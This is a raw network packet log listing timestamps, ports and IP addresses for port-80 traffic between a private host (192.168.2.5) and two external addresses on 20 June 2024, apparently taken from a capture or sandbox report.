Jun 20, 2024 15:38:07.822906971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.822928905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.823040009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823050976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823061943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823074102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823091984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.823117018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.823141098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823152065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823163033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823175907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.823199987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.823215008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855387926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855398893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855410099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855423927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855436087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855448008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855462074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855473042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855509043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855629921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855631113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855669975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855705023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855717897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855763912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855797052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.855923891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855935097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855945110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855956078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.855988026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.856007099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860244989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860258102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860270023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860291958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860301018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860322952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860358000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860436916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860449076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860461950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860517979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860517979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860563040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860574961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860584974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860598087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860631943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860656023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860667944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860680103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860691071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860733032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860754013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860761881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860774040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860785007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860831022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860848904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860855103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860867977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860933065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.860966921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860979080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.860989094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861001015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861013889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861026049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861026049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861038923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861049891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861062050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861068010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861123085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861123085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861171961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861228943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861232996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861246109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861284971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861318111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861393929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861406088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861416101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861427069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861458063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861488104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861546040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861557961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861568928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861609936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861629963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861630917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861643076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861654997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861665964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861696959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861728907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861793995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861804962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861815929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861829042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861857891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861890078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861896992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861910105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861922026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861933947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.861964941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.861996889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862091064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862102985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862114906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862127066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862138033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862149000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862155914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862160921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862174988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862193108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862193108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862202883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862220049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862272024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862272024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862279892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862293005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862341881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862356901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862478018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862489939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862500906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862510920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862521887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862534046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862535000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862545967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862556934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862560034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862571955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862576962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862585068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862597942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862613916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862648964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862729073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862741947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862788916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862793922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.862802029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.862843990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.883467913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883569002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883622885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883656025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883688927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883721113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883733034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.883733034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.883758068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.883769035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.883790970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.883810997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910105944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910119057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910130978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910228968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910239935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910252094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910265923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910368919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910382032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910387039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910387039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910444021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910851002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910862923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910873890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910887003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910897970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.910911083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910945892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.910945892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942044020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942054033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942065001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942145109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942156076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942167044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942207098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942207098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942207098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942243099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942265034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942403078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942802906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942816019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942827940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.942862988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.942888021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.943007946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.943018913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.943043947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.943056107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.943069935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.943105936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947180033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947227001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947238922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947274923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947287083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947319984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947330952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947340965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947351933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947362900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947376966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947406054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947504997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947515965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947525978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947537899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947552919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947571993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947662115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947674036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947685003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947698116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947717905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947730064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947799921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947812080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947822094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947853088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947865009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.947968960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947981119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947989941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.947999954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948013067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948024988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948031902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948035955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948048115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948056936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948061943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948079109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948088884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948122025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948220015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948236942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948263884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948276043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948277950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948290110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948334932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948353052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948395967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948400021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948407888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948420048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948434114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948445082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948462009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948502064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948532104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948544979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948554039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948565960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948589087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948622942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948659897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948672056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948682070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948693037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948714972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948718071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948733091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948759079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948797941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948808908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948820114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948829889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948841095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948852062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.948860884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.948895931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949065924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949075937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949088097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949100018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949110985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949120045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949121952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949135065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949141979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949146032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949161053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949162006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949179888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949193001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.949292898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949305058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.949348927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.227129936 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.227365971 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.233186007 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:08.233267069 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.233606100 CEST	80	49707	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:08.233671904 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.233802080 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.238626003 CEST	80	49707	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:08.903605938 CEST	80	49707	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:08.903697014 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:08.905114889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.905384064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.910504103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:08.910602093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.910691977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:08.910763979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.910826921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:08.917639017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:09.645101070 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:09.645144939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:09.645200014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:09.645210028 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:09.645210028 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:09.645232916 CEST	80	49708	77.91.77.81	192.168.2.5
